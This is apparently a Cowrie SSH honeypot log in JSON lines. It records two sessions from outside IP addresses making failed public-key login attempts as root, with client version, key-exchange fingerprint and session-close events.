{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:ec:90:51:8e:2d:1c:c1:e8:94:9b:1b:60:a8:1c:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+0SEC2SRtSsJ8RWkvotAs9nanxH4+JwGoXsfp1aNo79Zd48nIwUtQ9NBZh5LDMhfo20Ri5kZ3rmIHso0DfAfkKs33GAlRAN9X16W8dC793yinp6gGg8O5s1ngVW8cSLugM4w68AGVlvS376dwXVdZVVmsmNJXobbInGzhspAQ3ex7ZWHWuEV2vJXQvrMXNYkcQb2YB+zwOGaH8Y4oxxTwYqr6MXd9arnlrKnjntVxWt/KWuow5obHFXB0KQOl9LtJJ4cWV5tdZCwigkvIKvCbTCyC+mpIMRJ7Da9oaz5OuuQCYRMV4+2XC2iq7ub6+UJU9DWPTztdtyi4LaxVhsCp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.769291Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:b9:b4:ed:7e:ed:3e:cd:5a:70:2a:c2:dc:df:b9:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGMoxwnflMdzu4aBp4PZMnUh8xXA3TpiIsmnkUO8MhBlXpmBwVoRdI23lgRGm6zA954nASscsLpf36lGdl4U9cwZRB2FfZ2EiJdGBqBThrJpz2PgvIXkLAY1CuTGS4QJY1vjyW4zqB0mc7GhySME7DZmp8/LVwrpcD6+KHao1M1XWjM7gJP3Dz6VpnrfhiLQ150h56zwxldpQK3uPq2pOY1lD7LhOMdqsKtJ540zz3JGoXVG6udE1Tks7ccTDxvE1tlnGoHI9UGaysy6YJmucezdTFatlfMKGnCkqcNMocZBQB+14PiCsLXuZJdDuJImUtOyMwuf6J5/tvJnJl4tqTIkt8liLbrW4Z3AojLQa9U0fQwohbBXjhEtml7ULvCtJk1e5wAOigI1o/j8D8bXLUHQ4j9KbcOAepm7xQp/zHDcC+9fDAaAIcofhEuOMmnp28gTjbYjVRjg+yzCN9Zs38ch6DvWX2zTD1kSmFxXGhqLKo6+o6jXL8g8Wjm/cWcA9AuEZI2ZIaKXo1UvJt9eHIEY1UILEJbEsvqwPPvSxci7dBfJcRXpsspaUfAt9ZOnPwBamwPQmj8Spf+r9pvOa1aJldqZO8Pf8C6MnOhoURXzJXFAfsMPeOzJ5qpAFMQ++5uXaToxf5MxDtTxeSKUiZNZK+8W/yjuepZV/3b4kjcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:b9:b4:ed:7e:ed:3e:cd:5a:70:2a:c2:dc:df:b9:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.852251Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:b9:b4:ed:7e:ed:3e:cd:5a:70:2a:c2:dc:df:b9:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGMoxwnflMdzu4aBp4PZMnUh8xXA3TpiIsmnkUO8MhBlXpmBwVoRdI23lgRGm6zA954nASscsLpf36lGdl4U9cwZRB2FfZ2EiJdGBqBThrJpz2PgvIXkLAY1CuTGS4QJY1vjyW4zqB0mc7GhySME7DZmp8/LVwrpcD6+KHao1M1XWjM7gJP3Dz6VpnrfhiLQ150h56zwxldpQK3uPq2pOY1lD7LhOMdqsKtJ540zz3JGoXVG6udE1Tks7ccTDxvE1tlnGoHI9UGaysy6YJmucezdTFatlfMKGnCkqcNMocZBQB+14PiCsLXuZJdDuJImUtOyMwuf6J5/tvJnJl4tqTIkt8liLbrW4Z3AojLQa9U0fQwohbBXjhEtml7ULvCtJk1e5wAOigI1o/j8D8bXLUHQ4j9KbcOAepm7xQp/zHDcC+9fDAaAIcofhEuOMmnp28gTjbYjVRjg+yzCN9Zs38ch6DvWX2zTD1kSmFxXGhqLKo6+o6jXL8g8Wjm/cWcA9AuEZI2ZIaKXo1UvJt9eHIEY1UILEJbEsvqwPPvSxci7dBfJcRXpsspaUfAt9ZOnPwBamwPQmj8Spf+r9pvOa1aJldqZO8Pf8C6MnOhoURXzJXFAfsMPeOzJ5qpAFMQ++5uXaToxf5MxDtTxeSKUiZNZK+8W/yjuepZV/3b4kjcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.858764Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:0d:da:65:87:5f:37:a0:90:b8:67:b0:43:c1:09:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwcduOVGB7B9IYiPEaY0c/cxBAi/SA07/29OGA9lkI33+hS+S/g5MZeHKjnR1awnfbPiMB6KT5PW+ihoSlrcUVVqFwNC7UsjEPn6bnfg9ZA3nXjvPxl9cDGE+1UcvQrp/DF5RLdHuhf4NhHInr2V5ap1MU53ddAaYzeSvc3PcqLLrrln3ZVuOTbFg5XHfsqbN86KlTeLoRyIUaaznFSLrvqCSsLdwbXKUccq9wzmf+LoDDpuiuDuj4Hw/1PZ/3c2qOYek86QmkJivRDdgbrTkTL7ruOIhXc5252IuwuFKGeZIoJ3lcHWiutHr0P/xrZmaPwELto1LiaeAw/3/8voAXEpeSankZsNVk9m1b5+DiAZc1b9WsjXmX4UFHndwsmCtnd20G5Pmbw+ZNwdSvCs9ZhQPsi6pAK/QR16UdubX+0DYW0x/zEuMGVwKzqX1egboxGTfWcF1VQUkXk7LvYV4vf9r02DPMxdoJABSUTPCQgm3pxktvS4ZNTKDQHSXs0kHDd1S3yYRHhoWMzPrC4n8bFpX2mQO6TOS/FheBxvGjUESt+ATTSLVmW/qT3cQAUsV6b5yDIguKyArMo8MYIlvlcupzbe0l8XrfRchXMDnvWKB1YkqU4WxnuQmMk5M/+2gUhpCq3pMn+jlzrzEsiLQnfmzByJpi1OIS93c1xGinmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:0d:da:65:87:5f:37:a0:90:b8:67:b0:43:c1:09:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.941864Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:0d:da:65:87:5f:37:a0:90:b8:67:b0:43:c1:09:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwcduOVGB7B9IYiPEaY0c/cxBAi/SA07/29OGA9lkI33+hS+S/g5MZeHKjnR1awnfbPiMB6KT5PW+ihoSlrcUVVqFwNC7UsjEPn6bnfg9ZA3nXjvPxl9cDGE+1UcvQrp/DF5RLdHuhf4NhHInr2V5ap1MU53ddAaYzeSvc3PcqLLrrln3ZVuOTbFg5XHfsqbN86KlTeLoRyIUaaznFSLrvqCSsLdwbXKUccq9wzmf+LoDDpuiuDuj4Hw/1PZ/3c2qOYek86QmkJivRDdgbrTkTL7ruOIhXc5252IuwuFKGeZIoJ3lcHWiutHr0P/xrZmaPwELto1LiaeAw/3/8voAXEpeSankZsNVk9m1b5+DiAZc1b9WsjXmX4UFHndwsmCtnd20G5Pmbw+ZNwdSvCs9ZhQPsi6pAK/QR16UdubX+0DYW0x/zEuMGVwKzqX1egboxGTfWcF1VQUkXk7LvYV4vf9r02DPMxdoJABSUTPCQgm3pxktvS4ZNTKDQHSXs0kHDd1S3yYRHhoWMzPrC4n8bFpX2mQO6TOS/FheBxvGjUESt+ATTSLVmW/qT3cQAUsV6b5yDIguKyArMo8MYIlvlcupzbe0l8XrfRchXMDnvWKB1YkqU4WxnuQmMk5M/+2gUhpCq3pMn+jlzrzEsiLQnfmzByJpi1OIS93c1xGinmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.945832Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:40:1d:ea:73:db:63:9b:24:b7:3f:03:6f:33:81:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5eTEvWzctpDOyahZ8FFauPEAsUPX/llAHXtfNAo0rvd/HZgh5h7SGDkubUguQIW+cRqpwa3D2fzA318bVs99hNpzPLS6dTvzB9/V9u0aMZCR/P3C8xEHkhhmtN5Vc8OOSq/nwhPkc9UYnEohC1mKqcCYBONIQLzIDvtMWxhx3AGyoJmpg0R6AkVjue7a8AVayrukvhemussrNYrKCLAXygwaI1HWZHjIbskI+hFEATXXY2BQEL6rg7a4/EIbkwiciSdVPKj+3AfOGnqc1cHxBpMZiz/AkQe+RlDfX/M5xeyIO+c0Ik+B/qcFBxCAjO/yQH8m/FDotDB1mKRmNCKV3o2xrxt9MlWxH3l8B0ZXm4mNORxzmYuXlyvQsp/6NnIkeluzxS7BD8zazqOoeBPobdTrRIg14DPl8p+vq28a3PaWMikQgeUiLEdjoFIVBoF0H8w09n1WaozLaLEO+JGhHhMo408DQJQFKDqVMy0G116VKYsddQtk8eM+OVqWJUVESqsyANppP4aosXmoIuUFnYDxVgQ9nxpTstnilVfx8Ac9Mgh3V/Q1Ht7KwhRoNoc0V6KXLeM1WmPJDqQ7rdBC86jJAe3COEIooMohhkY3lh49/MaxgbSpMafjh09oJ/DaXbJaCfCNUYEn+8uHpy6UdGH9VpCoDsF9I//6d2q2iDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:40:1d:ea:73:db:63:9b:24:b7:3f:03:6f:33:81:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.027900Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:40:1d:ea:73:db:63:9b:24:b7:3f:03:6f:33:81:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5eTEvWzctpDOyahZ8FFauPEAsUPX/llAHXtfNAo0rvd/HZgh5h7SGDkubUguQIW+cRqpwa3D2fzA318bVs99hNpzPLS6dTvzB9/V9u0aMZCR/P3C8xEHkhhmtN5Vc8OOSq/nwhPkc9UYnEohC1mKqcCYBONIQLzIDvtMWxhx3AGyoJmpg0R6AkVjue7a8AVayrukvhemussrNYrKCLAXygwaI1HWZHjIbskI+hFEATXXY2BQEL6rg7a4/EIbkwiciSdVPKj+3AfOGnqc1cHxBpMZiz/AkQe+RlDfX/M5xeyIO+c0Ik+B/qcFBxCAjO/yQH8m/FDotDB1mKRmNCKV3o2xrxt9MlWxH3l8B0ZXm4mNORxzmYuXlyvQsp/6NnIkeluzxS7BD8zazqOoeBPobdTrRIg14DPl8p+vq28a3PaWMikQgeUiLEdjoFIVBoF0H8w09n1WaozLaLEO+JGhHhMo408DQJQFKDqVMy0G116VKYsddQtk8eM+OVqWJUVESqsyANppP4aosXmoIuUFnYDxVgQ9nxpTstnilVfx8Ac9Mgh3V/Q1Ht7KwhRoNoc0V6KXLeM1WmPJDqQ7rdBC86jJAe3COEIooMohhkY3lh49/MaxgbSpMafjh09oJ/DaXbJaCfCNUYEn+8uHpy6UdGH9VpCoDsF9I//6d2q2iDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.032233Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:8b:cb:60:e6:01:a3:88:19:c3:bb:52:90:b3:46:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwoE45aCdAW23cxUZmIt5n3+YyZftHGtEeZJDiLyPNvcdLK6fN4FMuissbdZdDqnVtX0iIkVUdpzAseOwHiZOLQvlPY9igkmcovTQeYqx+kj4AH05dgQYf5G1V7KZTAm6SoOHPf3ka62V9fmSLNhlSyfGcyg4AW3Ce+iUBtTIRjHBYDYjbaoYa8Q2++VTxuywSZaGUeaiUw99gFsi5VjlQU+YBUApz5K3qhNoKm9AehRmQbNTB/BPbpgMBeuHsBNrbwuIZUA6lE13g9XohxzbdyxUk0Mo8MLj3rTnQnzWJ6jMww76n+76ZnImXDModTRto8zveVYJG3TBfiC6qabOl8P1nzMYHR0u+IpGYfpzRXYrygnNGRkqdmYoxBe3mXJ6EeHm0kL2qS6W8NT/0GfmLxBgJv43eBh+zGRGL2xzHBaX/MK8yFY14r4Lccke8Ups1nDokK3ihMite1WudV+6lL7YiQstdXMR/eMz3MYHwjz0yrdRVpqriPXqUJhUnFxih/OVvGI6urAMhPeo3MGUrBTJ5y75Ar911ZYQ3bJFvZfEU5kjnsk38NdMDssDJZI7lbMmTkZuCjcjyXkM/57uuiL3Vjd9E74HussLP2B8AbzoUTZqCc4HKkS7kmO7dcxnxCGV407d10hw/gEzJXW7k7wf4izbB92VUAugO9BgDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:8b:cb:60:e6:01:a3:88:19:c3:bb:52:90:b3:46:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.114389Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:8b:cb:60:e6:01:a3:88:19:c3:bb:52:90:b3:46:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwoE45aCdAW23cxUZmIt5n3+YyZftHGtEeZJDiLyPNvcdLK6fN4FMuissbdZdDqnVtX0iIkVUdpzAseOwHiZOLQvlPY9igkmcovTQeYqx+kj4AH05dgQYf5G1V7KZTAm6SoOHPf3ka62V9fmSLNhlSyfGcyg4AW3Ce+iUBtTIRjHBYDYjbaoYa8Q2++VTxuywSZaGUeaiUw99gFsi5VjlQU+YBUApz5K3qhNoKm9AehRmQbNTB/BPbpgMBeuHsBNrbwuIZUA6lE13g9XohxzbdyxUk0Mo8MLj3rTnQnzWJ6jMww76n+76ZnImXDModTRto8zveVYJG3TBfiC6qabOl8P1nzMYHR0u+IpGYfpzRXYrygnNGRkqdmYoxBe3mXJ6EeHm0kL2qS6W8NT/0GfmLxBgJv43eBh+zGRGL2xzHBaX/MK8yFY14r4Lccke8Ups1nDokK3ihMite1WudV+6lL7YiQstdXMR/eMz3MYHwjz0yrdRVpqriPXqUJhUnFxih/OVvGI6urAMhPeo3MGUrBTJ5y75Ar911ZYQ3bJFvZfEU5kjnsk38NdMDssDJZI7lbMmTkZuCjcjyXkM/57uuiL3Vjd9E74HussLP2B8AbzoUTZqCc4HKkS7kmO7dcxnxCGV407d10hw/gEzJXW7k7wf4izbB92VUAugO9BgDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.118246Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.199741Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.157.176","src_port":47366,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd54a6ba4b4","protocol":"ssh","message":"New connection: 184.154.157.176:47366 (10.17.0.5:22) [session: 4dd54a6ba4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.300236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.321944Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.350916Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:ec:90:51:8e:2d:1c:c1:e8:94:9b:1b:60:a8:1c:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+0SEC2SRtSsJ8RWkvotAs9nanxH4+JwGoXsfp1aNo79Zd48nIwUtQ9NBZh5LDMhfo20Ri5kZ3rmIHso0DfAfkKs33GAlRAN9X16W8dC793yinp6gGg8O5s1ngVW8cSLugM4w68AGVlvS376dwXVdZVVmsmNJXobbInGzhspAQ3ex7ZWHWuEV2vJXQvrMXNYkcQb2YB+zwOGaH8Y4oxxTwYqr6MXd9arnlrKnjntVxWt/KWuow5obHFXB0KQOl9LtJJ4cWV5tdZCwigkvIKvCbTCyC+mpIMRJ7Da9oaz5OuuQCYRMV4+2XC2iq7ub6+UJU9DWPTztdtyi4LaxVhsCp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:ec:90:51:8e:2d:1c:c1:e8:94:9b:1b:60:a8:1c:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.473623Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:ec:90:51:8e:2d:1c:c1:e8:94:9b:1b:60:a8:1c:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+0SEC2SRtSsJ8RWkvotAs9nanxH4+JwGoXsfp1aNo79Zd48nIwUtQ9NBZh5LDMhfo20Ri5kZ3rmIHso0DfAfkKs33GAlRAN9X16W8dC793yinp6gGg8O5s1ngVW8cSLugM4w68AGVlvS376dwXVdZVVmsmNJXobbInGzhspAQ3ex7ZWHWuEV2vJXQvrMXNYkcQb2YB+zwOGaH8Y4oxxTwYqr6MXd9arnlrKnjntVxWt/KWuow5obHFXB0KQOl9LtJJ4cWV5tdZCwigkvIKvCbTCyC+mpIMRJ7Da9oaz5OuuQCYRMV4+2XC2iq7ub6+UJU9DWPTztdtyi4LaxVhsCp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.478655Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:b9:b4:ed:7e:ed:3e:cd:5a:70:2a:c2:dc:df:b9:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGMoxwnflMdzu4aBp4PZMnUh8xXA3TpiIsmnkUO8MhBlXpmBwVoRdI23lgRGm6zA954nASscsLpf36lGdl4U9cwZRB2FfZ2EiJdGBqBThrJpz2PgvIXkLAY1CuTGS4QJY1vjyW4zqB0mc7GhySME7DZmp8/LVwrpcD6+KHao1M1XWjM7gJP3Dz6VpnrfhiLQ150h56zwxldpQK3uPq2pOY1lD7LhOMdqsKtJ540zz3JGoXVG6udE1Tks7ccTDxvE1tlnGoHI9UGaysy6YJmucezdTFatlfMKGnCkqcNMocZBQB+14PiCsLXuZJdDuJImUtOyMwuf6J5/tvJnJl4tqTIkt8liLbrW4Z3AojLQa9U0fQwohbBXjhEtml7ULvCtJk1e5wAOigI1o/j8D8bXLUHQ4j9KbcOAepm7xQp/zHDcC+9fDAaAIcofhEuOMmnp28gTjbYjVRjg+yzCN9Zs38ch6DvWX2zTD1kSmFxXGhqLKo6+o6jXL8g8Wjm/cWcA9AuEZI2ZIaKXo1UvJt9eHIEY1UILEJbEsvqwPPvSxci7dBfJcRXpsspaUfAt9ZOnPwBamwPQmj8Spf+r9pvOa1aJldqZO8Pf8C6MnOhoURXzJXFAfsMPeOzJ5qpAFMQ++5uXaToxf5MxDtTxeSKUiZNZK+8W/yjuepZV/3b4kjcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:b9:b4:ed:7e:ed:3e:cd:5a:70:2a:c2:dc:df:b9:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.508428Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:b9:b4:ed:7e:ed:3e:cd:5a:70:2a:c2:dc:df:b9:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGMoxwnflMdzu4aBp4PZMnUh8xXA3TpiIsmnkUO8MhBlXpmBwVoRdI23lgRGm6zA954nASscsLpf36lGdl4U9cwZRB2FfZ2EiJdGBqBThrJpz2PgvIXkLAY1CuTGS4QJY1vjyW4zqB0mc7GhySME7DZmp8/LVwrpcD6+KHao1M1XWjM7gJP3Dz6VpnrfhiLQ150h56zwxldpQK3uPq2pOY1lD7LhOMdqsKtJ540zz3JGoXVG6udE1Tks7ccTDxvE1tlnGoHI9UGaysy6YJmucezdTFatlfMKGnCkqcNMocZBQB+14PiCsLXuZJdDuJImUtOyMwuf6J5/tvJnJl4tqTIkt8liLbrW4Z3AojLQa9U0fQwohbBXjhEtml7ULvCtJk1e5wAOigI1o/j8D8bXLUHQ4j9KbcOAepm7xQp/zHDcC+9fDAaAIcofhEuOMmnp28gTjbYjVRjg+yzCN9Zs38ch6DvWX2zTD1kSmFxXGhqLKo6+o6jXL8g8Wjm/cWcA9AuEZI2ZIaKXo1UvJt9eHIEY1UILEJbEsvqwPPvSxci7dBfJcRXpsspaUfAt9ZOnPwBamwPQmj8Spf+r9pvOa1aJldqZO8Pf8C6MnOhoURXzJXFAfsMPeOzJ5qpAFMQ++5uXaToxf5MxDtTxeSKUiZNZK+8W/yjuepZV/3b4kjcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.513268Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:0d:da:65:87:5f:37:a0:90:b8:67:b0:43:c1:09:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwcduOVGB7B9IYiPEaY0c/cxBAi/SA07/29OGA9lkI33+hS+S/g5MZeHKjnR1awnfbPiMB6KT5PW+ihoSlrcUVVqFwNC7UsjEPn6bnfg9ZA3nXjvPxl9cDGE+1UcvQrp/DF5RLdHuhf4NhHInr2V5ap1MU53ddAaYzeSvc3PcqLLrrln3ZVuOTbFg5XHfsqbN86KlTeLoRyIUaaznFSLrvqCSsLdwbXKUccq9wzmf+LoDDpuiuDuj4Hw/1PZ/3c2qOYek86QmkJivRDdgbrTkTL7ruOIhXc5252IuwuFKGeZIoJ3lcHWiutHr0P/xrZmaPwELto1LiaeAw/3/8voAXEpeSankZsNVk9m1b5+DiAZc1b9WsjXmX4UFHndwsmCtnd20G5Pmbw+ZNwdSvCs9ZhQPsi6pAK/QR16UdubX+0DYW0x/zEuMGVwKzqX1egboxGTfWcF1VQUkXk7LvYV4vf9r02DPMxdoJABSUTPCQgm3pxktvS4ZNTKDQHSXs0kHDd1S3yYRHhoWMzPrC4n8bFpX2mQO6TOS/FheBxvGjUESt+ATTSLVmW/qT3cQAUsV6b5yDIguKyArMo8MYIlvlcupzbe0l8XrfRchXMDnvWKB1YkqU4WxnuQmMk5M/+2gUhpCq3pMn+jlzrzEsiLQnfmzByJpi1OIS93c1xGinmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:0d:da:65:87:5f:37:a0:90:b8:67:b0:43:c1:09:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.543547Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:0d:da:65:87:5f:37:a0:90:b8:67:b0:43:c1:09:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwcduOVGB7B9IYiPEaY0c/cxBAi/SA07/29OGA9lkI33+hS+S/g5MZeHKjnR1awnfbPiMB6KT5PW+ihoSlrcUVVqFwNC7UsjEPn6bnfg9ZA3nXjvPxl9cDGE+1UcvQrp/DF5RLdHuhf4NhHInr2V5ap1MU53ddAaYzeSvc3PcqLLrrln3ZVuOTbFg5XHfsqbN86KlTeLoRyIUaaznFSLrvqCSsLdwbXKUccq9wzmf+LoDDpuiuDuj4Hw/1PZ/3c2qOYek86QmkJivRDdgbrTkTL7ruOIhXc5252IuwuFKGeZIoJ3lcHWiutHr0P/xrZmaPwELto1LiaeAw/3/8voAXEpeSankZsNVk9m1b5+DiAZc1b9WsjXmX4UFHndwsmCtnd20G5Pmbw+ZNwdSvCs9ZhQPsi6pAK/QR16UdubX+0DYW0x/zEuMGVwKzqX1egboxGTfWcF1VQUkXk7LvYV4vf9r02DPMxdoJABSUTPCQgm3pxktvS4ZNTKDQHSXs0kHDd1S3yYRHhoWMzPrC4n8bFpX2mQO6TOS/FheBxvGjUESt+ATTSLVmW/qT3cQAUsV6b5yDIguKyArMo8MYIlvlcupzbe0l8XrfRchXMDnvWKB1YkqU4WxnuQmMk5M/+2gUhpCq3pMn+jlzrzEsiLQnfmzByJpi1OIS93c1xGinmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:59.547457Z","src_ip":"184.154.157.176","session":"4dd54a6ba4b4","protocol":"ssh"}
